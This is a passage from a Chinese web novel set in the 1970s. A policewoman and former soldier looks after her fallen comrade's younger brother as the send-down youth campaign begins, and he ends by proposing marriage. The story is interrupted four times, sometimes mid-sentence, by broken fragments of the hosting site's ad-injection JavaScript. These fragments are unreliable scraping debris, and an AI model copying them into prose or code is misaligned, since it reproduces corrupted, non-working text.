带了炖这个字,就代表着漫长。
俩人也不说话,静静等着。
池步湘对涂翡很好奇,他看着她。忍不住想,她到底是什么人。
记得第一次见面,她说她是公安。他有点不信,但这女人身上有种……一口吐沫一个钉的气概。
她似乎长了些肉?看着比上次健康了许多。
一个没什么女人味,但有点俊逸的女人。
他这种并不冒犯的视线,并没有引人不适。何况涂翡从不在乎他人的注视,也无需在乎。
等后扔进锅的粉条熟了,涂翡掀开了锅盖,搅了搅,透明弹软的粉条在酱红色的汤汁里显得格外诱人。
汤汁已剩的不多,五花肉油光锃亮,霸道的肉香横冲直撞。
涂翡咽了口唾液,将筷子递给池步湘,自己拿汤勺舀了一块肉,隔着工具都能感受到的绵软,让人知道,这是一锅给钱也不换的无上美味。
热烫的五花肉进嘴,涂翡嘶嘶哈哈地吃着,却不舍得吃得慢些。
寒冷的冬天,这冒着热气的炖肉就是最好的慰藉。一块肉下肚,这是世界上少有让人完全无法拒绝的温暖,涂翡感叹:“放了这么多调料,不亏!”
池步湘尝了块干豆腐,点头:“味道很正,是我吃过最好吃的炖肉。”
这话存了夸张的成分,涂翡若有所思地点点头:“最好?那得看和什么比,要是和饭店的比,那确实是,略胜一筹。”
池步湘愣了一秒,险些呛住。
涂翡的防备泡汤了,池步湘只简单夹了几筷子,就不断给涂翡夹菜,最后干脆把筷子还给了她,很讲究,还擦了下筷子。那手绢彻底脏了。
涂翡把勺子扔给他,就自顾自地吃了起来,只偶尔记起给对方的勺里夹点粉条。
不得不说这干豆腐炖在肉里,吸了肉汤,味道确实很妙。
政保股的盯梢让她这几天素得过分了。
这一锅很丰盛,哪怕池步湘动了些,剩下的依旧够一家三口饱餐一顿。
但涂翡只给老涂留了半碗肉,剩下的都吃进了肚子,狠狠满足了这几天缺少油水的身体。
她特意剩了点粉条,等吃到最后粉条已经吸收了剩下的汤汁,涂翡扫了个尾,都吃掉了。
要是带个馒头就好了,沾着这肉汤,绝了。
吃完,池步湘也没有理由再留。
他迟疑片刻,从胸口的内袋里掏出来一个蓝色的手表,递给涂翡:“那天,谢谢你。这个请你收下。”
正收东西的涂翡动作顿了顿,看向那块手表。是上海牌,表带是深蓝色,表盘却是浅浅的天蓝色,她收回视线,继续收东西:“我不能要。”
池步湘解释:“这是旧手表改的,不值钱!到我手里时已经不准了,表带是我从皮革厂找边角料自己做的……我修表的时候,就觉得它适合你,表带是特意给你选的。”
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
自从见过涂翡,他便觉得这手表适合她。哪怕明知没有再见面的机会,他今天还是鬼使神差地把它留了下来。
看吧,老天总会眷顾他一次的。
错过这次,大概这表也没机会再交给她了。
听着他慌乱的语气,涂翡抿了下唇,将手表接过来,确实有细微的划痕。不过,要不是她观察力敏锐,这表和新的也没什么区别:“这表你卖多少钱?。”
涂翡的语气很平静,却不容置疑。
池步湘垂下眼:“每块表卖40,我收你30。”
涂翡耸耸肩,动作娴熟地将表戴在手腕上。
她将厨具重新装成两个袋子,拎在手里,避开了池步湘要帮忙的手,又从口袋里掏出来30块钱,利落地塞进池步湘大衣的内兜,转身走了,连头都没回,摆了摆手作为告别。
池步湘笑了,如果涂翡回头,就会见到这个残破的化工厂都明亮了起来。
看着涂翡走远,他掏出涂翡给的30块,刚要叠好,就被这厚厚的一沓手感惊到,他低下头,不可置信地翻了翻钱,这怎么变成100了?
她会变魔术吗?
还有,谁家正常人会带这么多钱出门啊!
.
涂翡很喜欢这块蓝色的表。她原来也有一块,但在最后的任务中,光荣下岗了——表带断了,丢在了越南。
因为没特意换手表票,也不需要立刻上战场,她始终没买。正常来说,一块上海牌手表价格在120左右,外加一张手表票。这块表和新表没太大区别,总体还说还是她赚了。
涂翡把东西放回家,精确了手表的时间,稀罕了一会,换上警服去上班。
一点半上班,她到派出所的时候已经快两点了。
她本想在政保股发难的时候,借机和对方据理力争一下,让对方撤了对她的监管。
但詹乐贤老奸巨猾,没上这个当!
涂翡晚上进食堂的时候,再次看到詹乐贤那斯文败类,深深呼了口气。
不过中午一顿肉给她吃开心了,现在她脾气很好。
.
詹乐贤大概是没想放过她,接下来的几天依旧在所里搞新风貌。
涂翡就这么点爱好,她尽量配合政保股的行动,但当食堂有不错的荤菜时,她也不管政保股,先打上一份再说!
政保股拿她没办法,她也拿政保股没办法。就这么僵持着,涂翡因为吃得不爽快,档案的整理速度都慢了下来。
周六下午。
还有几个小时就要结束一周的工作,整个镇北派出所都处于一种躁动之中。
连二楼几间忙碌的文职办公室,闲聊声都愉快了不少。
马所长办公室的旁边是秘书股,处理所里的日常工作。
办事员王卉对面的办公桌空着,黄昏的光线似乎都带了假期的雀跃,她打毛线的速度比往日慢上不少。
“砰!”一声急躁的推门声打破了这宁静的气氛。是和所长去省里开会的东德阳。
王卉一看是他,这才松了口气:“东主任,你和所长回来了?”
东德阳脸色不见轻松,他拿起茶缸一口气喝了半缸水:“小卉,通知所有人,到会议室开会。”
16. 上山下乡
王卉虽是温和的性子,但在派出所呆的时间久了,一遇到事,也有一种干脆利落的气魄。虽不知发生了什么,但看东德阳的脸色,就知有大事发生。
她也不追问,告知了人事办公室的刘莉,让她通知二楼的所有同志,而她则下了二楼。
档案室是她最后通知的股室。
门是半开的,她敲了两下示意就推开了门:“涂档案员”
见到办公桌前的涂翡,她一时失语。
只见涂档案员坐在办公桌前正写着什么东西,她的左肘抵着书桌,手里托着三块结结实实的砖头。
涂翡见是她,将砖头放下:“王同志,什么事?”
她和王卉称不上多熟,但至少一起吃过食堂。王卉留食堂的时候不多,但涂翡中午几乎顿顿不落,碰到两次,女同志就拼个桌。
治安股的警员都没她这么分秒必争的训练,王卉感叹后回神:“所长从省革委开会回来了,通知所有人开会。”
这次去省里开会的,除了马所长东主任,还有詹乐贤。看这阵仗,就知省里对此事的重视。
涂翡同王卉上来没多久,所里的人就都到位了。
马所长手里拿着笔记本,站在前面,面色严肃:“这次去省里开会,只谈了一个问题:组织城市青年上山下乡,建设社会主义新农村。
待业青年问题严峻,据统计,全城有6万青年无业。今年市里计划组织6600名青年上山下乡,咱们公社分配了105个名额,由中学生分配办公室负责。
下周一要去学校开动员大会,咱们一线工作者负责治安……”
上山下乡的号召已经有几年了,一直都是青年们自愿选择。现在看来,这场席卷全国的运动,放大了学生和待业青年的破坏力,已经到了不治理不行的地步。
城里没有这么多工作岗位,便动员知青上山下乡搞建设。
闻弦知意,这肯定不是唯一的指标,6600人只是今年的人数。
上山下乡,是支持建设。但毋庸置疑,这是个苦差。学生们可以热血上头,响应号召,但他们的家人就难免想得更长远些。
信念再强,能支撑起这些从未务过农的城市青年去承受那源源不断的苦难吗?
警员们的年纪还算年轻,有孩子的还不到下乡的年纪,但谁家还没个适龄的弟弟妹妹?一时间,大半的人脸上都带了愁容。
涂翡原本是最轻松的那波人。
从公事讲,马所长在前面讲的各种工作方案,和涂翡都关系不大,档案室是少数完全不用加班的办公室。
相较之下,调去户籍股的老秦愁得烟屁股都要咬碎了。
从私来讲,她既无兄弟,也没朋友是适龄的无业青年。
她拿着笔记本,一笔一划地用楷书写着沁园春.雪。直到詹乐贤的声音响起,说起动员大学生分配去基层,她写字的速度慢了下来。
李步潇的弟弟,好像是个大学生。
涂翡脸色变了变,不再溜号,认真听政策。
大学生的政策与初高中毕业生不同,大学生包分配,现在也是,不过现在他们要被分配到偏远艰苦的地方接受贫下中农再教育,也是下乡的一种。
等詹乐贤说完,她当即决定不再拖了,明天就去找人。
对方要是想去基层搞建设,她就走走关系,看能不能调去个有战友转业的地方。他是李步潇的亲弟弟,那些战友能帮的都会帮一把。
要是不想下乡,只要他不是闹得最凶的那批人,应该也有选择的余地,只是要快点联系到接收他的工作单位。
只是一会功夫,涂翡脑子过了无数可能。
.
去探望牺牲战友的亲人,涂翡很重视,到家就洗了警服。她不会用那三角烙铁,就拧得轻些,再将褶皱抻平挂好。
为了快点干,她把衣服挂在了火墙跟前,怕烤糊,她几乎隔一会就要来翻个面。
那细致的样子,让老涂很是嫌弃。
不过,涂翡的细致很有用。
次日,她穿戴整齐,里面是笔挺的警服,外面是双排扣的过膝蓝色大衣,腰间一根皮带束紧,头顶蓝色雷锋帽。
就连老涂都忍不住多看了几眼,只这身警服,就让他孙女穿出了拿枪扛炮的气势。
涂希芳调侃:“小翡啊,你这是要出门打人啊?”
涂翡疑惑:“打人还需要换衣服?”
老涂一哽,眼不见心不烦地摇摇头,回屋了。孙女哪都好,就是暴力,太暴力!一点没有女孩的柔和。
这能找到对象吗?
镇北公社在城市边缘,涂翡出了镇北辖区后,还要再走一段路,才能到电车站。
坐电车能一路通到李步潇父亲家不远处,中央区的东风城市公社。
江城主城划分为五个区,中心区、东林区、南江区、西港区、北疆区。
江城是建立在铁路上的城市,而中心区是这座城市最重要的枢纽,四通八达的江城站就落座于此。
可以说,中心区是全省的政治、经济、文化、交通中心。
但更繁华的同时,也代表着人口密集。
涂翡找了好一会,才在东风公社交错混乱的居民区中找到丰安路。
丰安路18号,是个大院,并不难找。进了门洞,正对着的是一排二层楼,四幢,外置楼梯,尖顶的苏式风格。
左右两旁是两排平房,各住了三家人。院子不小,贴着墙根的地方建了不少棚屋,有的比较简陋,能看见里面的蜂窝煤;有的比较牢固,连着主屋,似是住人的。
大院人进人出,正常遇到陌生人都会问上几句。但看涂翡那冷酷的模样,恨不得躲个十米远。他们不怕警察,但怕看着很凶的警察。
楼梯有些陡峭,结了一层厚厚的冰,走起来需要控制好平衡,比爬山还危险。涂翡小心地上了楼,露天走廊上是一排二楼住户的屋门,从东数第二家就是,她走上前直接敲门。
“谁啊!”一个清脆而尖细的女孩声音走近,一把拉开门。
是个13、4岁的女孩子,比涂翡矮了一个头。大眼睛很漂亮,穿着红色的花棉袄,身材娇小,但行动起来虎虎生威,看见一身警服的涂翡,她也不怕,只是略带戒备地仰头看着她:“你找谁?”
“你好,我找池步湘。我是”
没给涂翡说完的机会,女孩眼睛猛地睁大,脑袋一甩跑进屋,两条麻花辫扬起两条弧线:“爸!你快出来!我二哥事儿惹大了!警察都找上门来了!”
这间苏式老屋的门口有个不大的门洞,左右各连接着一
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
个房门。涂翡站在屋门口,就听屋里一片慌乱。
一个粗犷大嗓门的中年男人开口:“池步湘!奶奶个熊的,又给老子惹事?一天天能不能干点正经事!我就说你一天吊儿郎当早晚惹大祸!警察都找上门来了!”
“池步观,别幸灾乐祸了,回屋写作业去。爸,我可是守法良民,就是你去改过自新都轮不到我。”
不带尊重的回答惹来中年男人一连串的咒骂。
熟悉的声音走近:“我倒要看看,是哪个警官找我?”
一只修长骨节分明的手按住门框,他微微矮身,顶着头微卷的头发从门里钻了进来。
他穿着黑色的长裤和米色的厚毛衣,因为好看,头发又微卷,猛地一看有一点小布尔乔亚风。高个子、大长腿让这狭小的门洞显得更加逼仄。
他抬头看向涂翡,轻佻的笑容僵在脸上。
人下意识站直了。
涂翡站在大门外,眉毛挑了挑,看着这张好看得惊心动魄的熟悉面孔:“何玉疆?还是,池步湘?”
这就是李步潇口中那个逆来顺受乖巧懂事的优等生乖乖崽?
这是双方都没预料到的,第三次见面。
他没见过穿戴这么整齐的她。但似乎她就该这样,穿着威严英俊的制服,举手投足间带着杀伐果断的气质。
她依旧不美,但他却不敢直视。
被叫破名字的池步湘有些无措地抿了抿唇:“徐磊,你找我?”
涂翡顿了顿,心情格外复杂地冲他伸出手:“重新介绍下,我姓涂名翡,李步潇的战友。之前给你写的信收到了?”
涂翡,是个女子?
那龙飞凤舞,潇洒而锋利的字迹来自一个女子?
池步湘有些迟疑地握住涂翡的手:“收到了。”
颜色迥异的两只手一触即离。
徐磊和何玉疆,两个脱口而出的假名字。俩人对视了几秒,一时间有些尴尬。
涂翡扯了扯嘴角,将黄色纸包递给对面的人:“给你的。”
几句话的功夫,门洞两旁的门后探出来几个小脑袋,两个女孩,一个男孩。
池步湘想叫姐,但失败了,最后只能道:“涂警官,先进屋吧?”
她说她是警察,是真的,池步湘想。
池家的客厅不大,因为隔出来了一个小房间给孩子住。
柜子和物品整齐地罗列在一起,收音机上盖着好看的浅色帘布。靠着火墙的地方则摆了一张八仙桌和几张椅子。
涂翡见到了那个嗓门很大的中年男人,池崇新,李步潇的父亲。
听李步潇说,父母离婚后,他除了偷找弟弟时远远见过几次,没与父亲正式见过面。父亲也没去看过他。
池父和涂翡个头差不多,在东北男性中身高不高不矮。虎目剑眉,皮肤是经时间和酒精熏陶过的泛着红的黝黑,眉眼之间似乎还能看出年轻时的俊朗。他和很多干体力活的工人一样,有着结实壮硕的身材。
池步湘和李步潇都是修长好看的类型,和池父完全不同,大概是随母亲多些。真要说的话,还是李步潇更像池父一点,他多少继承了些父亲身上那粗犷的气质。
脸颊泛红的中年男人搓了搓手,看着涂翡的眼神有些期待:“他有没有交代什么?”
17. 你下楼送我
这样不拘小节性格豪放的男人做出这样小心翼翼的动作,总是让人心酸。
但不幸的是,涂翡已经练就了一副冷硬心肠,她并不觉得自己的话伤人:“他让我帮他看顾母亲和弟弟。”
池步湘听见涂翡的话,心念震动。似乎又回到了收到涂翡来信的那一天。
那时他很意外,竟然收到了大哥战友的来信。那是一封带着越南砂砾的信件,几经辗转,穿过了枪林弹雨千辛万苦来到了他手里。
池步湘:
见信如唔。
你好,我是涂翡。李步潇的战友,生死之交。曾承诺,若有马革裹尸之日,必将照顾彼此亲属。
步潇曾言,母亲生性淡然,父亲再次成家,唯弟是心之所忧。若能凯旋而归,我便是你的亲人。
吾弟不必伤怀,战死者荣,偷生者辱。吾辈军人,死得其所。
如无再见之日,我便同他一起,化作这清风明月,常伴世间,守护于你。
此刻,池步湘看着涂翡,眼前这个带着硝烟味的女人与那个说‘我便是你的亲人’‘吾辈军人,死得其所’的涂翡合二为一。
他先入为主,以为他哥的战友一定是个男性。但当涂翡鲜活地站到他面前,他才知晓,这就是涂翡本该有的气质。
凌厉,带着宿命般的杀气,还有一点为数不多的清冷。
这点清冷比起那凛冽的冲击,甚至让人误以为她有一丝柔和。
他认真地看着涂翡,失去了言语的能力。他想,是她太独特了,与所有人都不同,没有给他留下任何想象的余地。
在窥探到她的一丝过往后,涂翡在他心中的形象又发生了改变。
随后,他后知后觉地开心起来,她回来了。
那封信写得极其简短,几句说明、几句关心,附带了几个联系方式和地址,让他有困难便求助。
写下那封冷硬信件的人大概不清楚,收到她的信,最让他怕的,就是这位从未见过面的‘亲人’再也不见。
他没有勇气上战场,但似乎也没有勇气,看着他们前仆后继地奔赴死亡。
而池崇新听了涂翡毫不掩饰的话,备受打击。
这房里的女主人不在,只留了池父和孩子们。大概是涂翡把话说得太明白,池父把几个小孩赶出了客厅,只留下了他和池步湘。
涂翡不是来寒暄来的,事态紧急,她直接问起了池步湘的学业:“你读的江大?什么时候毕业?”
她可是记得第一次见面,池步湘与江大其他学生打在了一起。
一说这个,两位男士的脸色都变了。池步湘是不好意思,而池父是一提起这个就生气。
池父粗声粗气地开口:“毕业啥啊毕业,读得半拉嗑叽就退学了!读完高中我让他参加工作,他不干,非得上大学,上大学能有工作啊,有什么用?
你上就上呗,你倒是念完啊,这毕业证没拿到手就不念了!人家给毕业生分配,你这半途而废的,谁管你?”
这话有失公允,大学生每个月还有18块零5毛的补贴呢,就算没有工作,也不是毫无所得。
但不管是什么原因,考上大学了还肄业的,也是个狠人。
池步湘不在意他爸或者邻里亲朋的看法,但却没法不在意涂翡的。
他安静地坐在椅子上,看似平静,垂着眸任由池父斥责,眼神却偷偷瞄着涂翡。
涂翡在沉思,肄业,那只能算个高中毕业生。
似乎比大学生的硬性分配好办一些。
“老池在家吗?”
周末大概是最好的串门时间,就这片刻的功夫,池家又来一个客人。池步湘和池父对视一眼:“好像是分配办的张阿姨。”
池父看了一眼涂翡,她坐在椅子上,坐姿闲适中带着笔挺,帽檐压得有些低,阳光打下的阴影遮住了她的眉眼,让人看不清她的情绪。
——完全没有走的意思。
他又看向池步湘,想让他去开门,但池步湘注意力都在涂翡身上,一个眼神没给他。
池崇新只能起身自己去。
池步湘把椅子挪到涂翡旁边,低声问:“你转业了?”
“嗯,镇北派出所。”涂翡看池父走远了,低声问:“分配办应该是做下乡动员的,你怎么想?”
看着涂翡眼里的认真,池步湘今天略迟缓的脑子重新运转,他一下抓住了重点:“不是自愿的?”
涂翡来的时间太巧了。
如果不是有什么变故,她不会这么问。
涂翡很喜欢池步湘的敏锐,和聪明人聊天果然轻松。
她低声说:“算是半自愿,适龄的待业青年都是动员对象,今年东风公社至少要动员145名知青。”
昨天开完会,她就找分配办问了。
张阿姨被池父迎进屋。
她是个40来岁的女同志,梳着□□头,很干练,脸上带着笑意:“哎,步湘也在家呢,我特意来找你的。老池,这位是?”
池父干笑了两声,略带尴尬地给俩人做介绍:“这是步潇的战友,过来看看我们。小翡啊,这是分配办的张翠芬张阿姨。”
张翠芬热情地和涂翡打了招呼,实际没太在意。池家离婚那都是十五年前的事儿了。
孩子他妈带着老大去了芬兰县,这么多年就没见这孩子回来过,听说去当兵了。
步潇都没回来过,这姑娘能自己过来,估计和李步潇关系不一般。
但这双方多年不联系,这姑娘和池家关系也不大。各种猜测在脑子里转了一圈,她看向池步湘:“步湘啊,今天有个好事告诉你!”
听见张翠芬的话,他笑出了声:“张阿姨,是不是我的工作下来了?这可是好消息啊,去哪?我肯定服从组织安排!”
145人,整个东风公社有多少待业青年?两家至少得下乡一个?
这些年有不少人选了下乡这条路。但他肯定是不想的,不然早就下了。
张翠芬尴尬地笑笑:“现在城里工作紧张,哪那么容易就分配!我今天来,是问问你有没有下乡的想法,你天天在家这么呆着,也不是个事啊?
我昨天刚开会回来,今年咱们江城要动员大批知识青年下乡搞建设,你江大肄业,分配办肯定
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
要给你留一个名额……找个出路,才不浪费你学的一身本事,广阔天地,大有作为!”
池父若有所思:“我倒是劝过他下乡,但他不听我的,我是管不了他。大姐,你再给我说说下乡的事?”
张翠芬一看这事有谱,高兴了许多。池家是她走的第五家,前几家都不太情愿。
“老池,你也知道这城里吃粮指标低,这几年粮食吃紧,家家没有余粮。
步湘这么闲在家,一个大小伙子,饭都吃不饱。别的地方不说,就咱这北大荒是不缺粮的!咱插队到农村,和社员一起挣公分……”
池父越听越动心,他以前没考虑过让池步湘下乡,主要是因为城市户口。下乡户口就转到了农村,他有点舍不得,城里起码吃粮本啊。
但听张翠芬这么一说,全城的青年都面临下乡问题,那还怕个球?这么多人,就算下乡,那也得有回来的一天吧?
下乡苦是苦了点,但这是顺应政策,顺应时代潮流!
池父和张翠芬聊得火热,池步湘和涂翡在边上一句话都没说。
终于张翠芬说了最关键的话:“可是决定下乡了?步湘报个名?”
池步湘打断池父即将说出口的承诺:“张阿姨,我需要想一想。”
“这孩子,我跟你说,这事你听你爸的,准没错。”张翠芬极力劝说。
听了全程的涂翡终于开口了:“张姨,我是李步潇同志的战友,现在在北疆区当警察。
他牺牲之前,把弟弟托付给了我。我们这些做战友的,只希望步湘能做自己想做的事,也就无愧李步潇同志的牺牲了。”
李步潇不是中心区的人,除了少数相熟的人家,没人知道他牺牲。
张翠芬猛地一听这个消息,神色变了又变,愧疚地说:“你看这,我都不知道。”
池父脸色不怎么好,叹了口气,但到底什么都没说。
池步湘看着涂翡,不知溜号溜到了哪里。
涂翡没说话,继续看着张翠芬。
张翠芬被她直勾勾地看着,终于明白了她的潜台词,她叹了口气:
“行,我知道了。步湘你要是想下乡,阿姨给你留名额,去插队确实是个出路,你好好考虑。”
池步湘应下。
涂翡:“张姨,池家可能算不上烈属。但池步湘是李步潇最后的嘱托,要是有需要,我可以联系部队,出个证明。”
张翠芬没说话,点了下头,离开了。
见她走了,涂翡看向那个格外‘乖巧’的青年:“我也得走了,池步湘,你下楼送我。”
池步湘眨眨眼,眼尾双眼皮里的那颗小红痣若隐若现,他看着涂翡,笑着一把捞起椅背上的大衣,潇洒的动作中不小心流露出一丝浪荡气。
一直到俩人出门,池父都没开口说话。
他算是看明白了,大儿子是一点没惦记他,甚至对他很不信任。这是特意‘派’个人过来给老二撑腰的。他是他爹,还能害他不成?
一直到走出大院,池步湘突然开口,悦耳的声音带了一丝期待:“如果我不开口,你还会帮我吗?”
18. 你要结婚吗
涂翡思索道:“如果你不开口,便是同意下乡了,我只需要帮你联系个好地方。”
池步湘与李步潇口中那个乖乖崽完全不同。
但即使他是那个乖乖崽,他不明确表达出不下乡的决定前,她都不会贸然开口。
池步湘耸耸肩:“好吧。”
他又说:“能见到你,我很高兴。”
涂翡:“我也很高兴。你可以叫我翡姐。”
她说过,只要她回来,她就可以当他的亲人。
踩着雪,两道修长的身影穿过小巷,穿过人群,对周围疑惑的视线视而不见。
“如果不想下乡,过了今年没问题,但明年就不好说了。我可以帮你找个工作,你看看想做什么。”
今年知青下乡的指标还不到伤筋动骨的程度,花钱找找门路,应该还有机会。真到了所有年轻人都要下乡的时候,那工作就难找了。
涂翡还没结婚,但已经体会到了为孩子考虑的痛苦。
俩人沿着大路到街心花园溜达了一圈,一路闲聊,彼此关心了一番。比起前两次见面,这次没了紧张的气氛和戒备。
只是池步湘还是没能叫出那句翡姐。
池步湘送走涂翡,步伐重新变得悠哉起来,看起来不像正经人。
他一路打发了两位八卦的婶子,拐进丰安路后,路旁的门洞里蹦出来一个猴似的青年,他抄着袖子,咧着棉袄,露出里面紫红色的毛衣,贼眉鼠眼地看了一圈四周,看没别人,用肩膀撞了下池步湘。
“池哥,听说你被警察带走了,正要去找你呢!啥事啊?”
“没事,收到手表了吗?”
陈厚摇摇头,语气可惜:“在废品站蹲了好几天,没等到老苏值班,他好像请假了。”
俩人一起走着,遇到一个姑娘,陈厚笑嘻嘻地上前跟她说话:“北红!干啥去啊!”
陆北红嫌弃地躲了几米远,直到这俩丰安路上有名的小流氓走了,才她回头瞅了一眼池步湘,眼里闪过一丝怒其不争的复杂情绪。
池步湘原本是丰安路上最有名的别人家的小孩。他长得好看,学习好,懂事聪明。
喜欢、嫉妒、崇拜、厌恶、怜悯……街道上的小孩对他的感官很复杂。
但不知道什么时候起,他变了。他不再是挡在所有小孩身上的阴影,他变成了最标准的反面教材,除了考试成绩依旧很好,几乎没有可取之处。
那个礼貌懂事的小孩,似乎是在人们的记忆中昙花一现。
他和那些品行不怎么样的该溜子小混混们混在一起,打了很多架。对父母对长辈也不再尊重,说话夹枪带棒,说翻脸就翻脸,最主要是,他做事不择手段,不要脸皮……
搞得很多人都不敢惹他,也不敢占他便宜。
陆北红还记得那个乖巧漂亮的小孩,她曾经试图想把他找回来,但得到的只有讽刺。她不明白,也有些可惜。
人,要是可以一直不变就好了。
池步湘早就记不清那个几次三番想拯救他的女孩了。
他和陈厚走远后,琢磨着低声开口:“最近怕是又要乱起来,先停一停,被抓住了得不偿失。”
“行,都听池哥的!”
池步湘没直接回家,与陈厚分别后,他开始找门路打听知青的事情。他习惯了足够了解后再做决定。
他认识几个家长被下放,和兄弟姐妹独自生活的干部子弟。他们没人看管,手上还有钱,其中一些人没少和各路该溜子鬼混。
池步湘偶尔有些新鲜玩意,他们是很好的受众,渐渐他和这些人就熟悉了起来。
干部子弟的消息果然灵通,池步湘很快研究明白了政策。
可以说,他这履历相当标准,标准到躲过今年也躲不过明年。知青,受过高等教育的青年,初中、高中、大学都算。而无业的知青,就要上山下乡。
只是大学生下乡还会分配个工作,应届的初高中生还可以报名去兵团,剩下的那都是去农村务农的。
他虽是肄业,但也算学历最高的一批知识分子,知识分子可不是什么好名头,他们是最需要下乡接受贫下中农再教育的人。
可以见得,他这学历卡在这,要是分配办动员人去农村,他是头号分子。
他明白这个政策的目的,就像他能看出革命已经失控一样,他完全理解涂翡的话——这不是指标的问题,而是无业知青的出路,只有下乡这一条。
下乡是不可能下乡的,他吃不了那个苦。
就算能吃得了那个苦,他也不乐意。
自从决定做个自私自利的人,他就只选最轻松的那条路。
有些时候,他觉得自己被淹没在了这个积极奋进的时代中。但这就是他选择的路,泥泞肮脏。
而他以为的那道光,也没能救得了他。他始终会孤身一人,与阳光背道而驰。
等池步湘晃荡回家,已经过了中午。继母白丽娟也在家,看见池步湘她淡淡地笑了笑:“步湘回来啦?”
“嗯。”
池父听见动静,端着搪瓷杯从卧室出来了:“出去送个人咋送这么久?下乡不挺好的,全城那么多知青都要下乡,人家都能干,你凭啥不能干!”
池步湘心里烦,这回也不惯着他了:“刘叔今年凭上劳模了,都是爹,你怎么不能呢?人家爹都能给找到工作,都是爹,你怎么不能呢?”
白丽娟坐在火墙跟前,也不参与父子俩的吵架,听见池步湘倒反天罡的话,嘴角不甚明显地扬了扬。
池父就没什么好脾气,气得大骂了几句脏话,接着训斥道:“老子那是找不到吗?那是不能给你找!
咱不能钻国家的空子,走不该走的后门!你要想找工作,就等招工的时候光明正大和人家一起考!考上了是你的本事!”
池步湘懒得理他,从柜子上拿起了涂翡送的黄纸包,完好无损。他的东西,那几个小家伙不敢动。
他走上狭窄的楼梯——上面的阁楼是他的地盘。
看他这德行,池父气急败坏:“我没帮你找工作?你高中毕业那年,我告诉你厂里要招工,让你去你不干,非得去考大学!
学那么
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
多年,屁用没有,连个工作都不给分配,奶奶个熊的,还辍学了!”
池步湘爬上阁楼,木板咣当一声落下,隔绝了池父的声音。
阁楼不小,有楼下一半的面积。对他来说很宽裕,就是棚顶有点低,但也不用弯腰。
阁楼一般不住人,因为特别冷,还没有暖墙。
这是他自己要来的,尽管冬天只能用铁皮炉子取暖。
懒得点火,他夹着纸包,一屁股坐在床上,坐了会后整个人向后倒去。摊了一会,他微微抬起上半身,好奇地把纸包拆开,是一包大白兔奶糖。
他抿了抿唇,拿出一颗糖,修长的手指慢慢地扒开糖纸,将乳白色的糖放进了嘴里。
.
“宁罗胡同24号涂翡,电话!涂翡,电话!涂翡——”
街道尽头传呼室的大爷,站在胡同口,敬业地拿着铁桶大喇叭喊着涂翡的名字,连喊好几遍。
要不是知道胡同里有个叫涂翡的警察,这高低以为是土匪进城了呢,把人吓个鸡飞狗跳。
涂翡晚上睡眠不好是常态,这会儿阳光暖和,好不容易睡了会。
她硬是从这中气十足的叫喊声中,听出了起床号子的熟悉感。
她趿拉着旧棉鞋,晕头转向地走进传呼室。
电话线那边传来池步湘有些失真的声音:“你要结婚吗?”
涂翡愣了一下:“和谁?”
“和我。”
.
江大是公社内唯一的大学,而这唯一的大学附近,有公社内唯一的国营饭店。
大学生们虽穷,但远比普通人更舍得下馆子。
涂翡认为,池步湘这个肄业人士把会面地点选在国营饭店,是对学生们的挑衅。
不过,她还是应约了。
比起上午,涂翡穿得随意很多,黑裤子,白毛衣,外面套了个军用棉袄,连大衣都懒得穿了。
大概不是吃饭的时间,饭店内只有池步湘一个客人。
他衣着干净整洁,米色毛衣的领口露出雪白硬挺的衬衫领。远远地看见她来,站在门口接她:“还没点菜,要吃什么?”
涂翡走进屋,看着供应板。
“今天菜这么好?”
柜台里的姑娘搭话:“要开化了,冻的肉得吃。大师傅化了几块,炼出来不少荤油!”
这么好的菜,不点就是吃亏。想都不用想,涂翡道:“锅包肉和地三鲜,你吃什么?”
池步湘:“酸菜汆白肉吧!”
柜台姑娘算好钱和票,池步湘刚要拿钱,涂翡带着压迫感的目光看过来,他乖乖停了动作。
行吧,现在他只是个弟弟。
涂翡付了钱票,回到座位上。池步湘选的是一处靠窗的位置,正好能看见远处的江城大学。
动员大会还没开,学生们一如既往。
待池步湘坐下了,涂翡收回了视线:“你认真的?”
“很认真。”池步湘点点头。
他慢条斯理地给涂翡倒了一杯水,他问:“你家,需要上门女婿吗?”
19. 明天结婚
“哐当”一声,是铁水壶掉桌上的声音。
涂翡和池步湘齐刷刷地转过头,看向发出声音的人,是那个柜台里收钱的姑娘,她出来给自己倒水。
看俩人看她,她干笑了两声:“继续,你们继续!”
别说这姑娘了,哪怕是见多识广的涂翡,听见池步湘这话也很意外。
她确实想帮池步湘,但没想把自己搭进去。
她看着对面装乖的青年,第一次把他列入择偶范围。
她与人相处,习惯了忽视性别。再优秀的男性也难以让她心生好感,因为她把人当作信任的战友、托付后事的兄弟、需要竞争的同僚……
当打破了固有认知,以异性的角度去看池步湘的时候,她承认那一刻受到了前所未有的、来自他美貌的冲击。
含情的桃花眼、干净白皙的皮肤、立体精致的五官……唇红齿白,郎艳独绝。
似乎这昏暗的小饭馆里,一下子阳光明媚了起来。
哪怕不是时下流行的国字脸长相,他的漂亮也让所有人毋庸置疑。
精美矜贵,玩世不恭中带了点不易察觉的疲惫脆弱,他的气质实在与这个时代不相称,有点像从红楼梦中走出来的执绔子弟。
看起来有点难养。
她知道,他是个不受人待见的混人。
但那又如何呢。
涂翡挑了下眉:“上门女婿?你能抗住舆论的压力?”
哪怕是这个宣扬妇女能顶半边天的时代,也没几个正经男人愿意做上门女婿的。女子嫁人是天经地义,男人上门便是不要尊严。
无所图谋,谁愿意做上门女婿?
看热闹不嫌事大,社会的舆论是一座难以攀越的高山,将人压得喘不过来气,让人难以保持平衡的心态。
而从古往今来的各种流传中来看,招赘也不是个好选择。上门女婿,是在流言蜚语和固有观念中全方面考验着人性,男方、女方、亲属,但凡有一个失衡,便容易出现悲剧。
涂翡比较好奇的是,池步湘是怎么想的。
对于涂翡的问题,池步湘已经深思熟虑:“我知道,别人的看法影响不到我。”
他确实有这个自信。
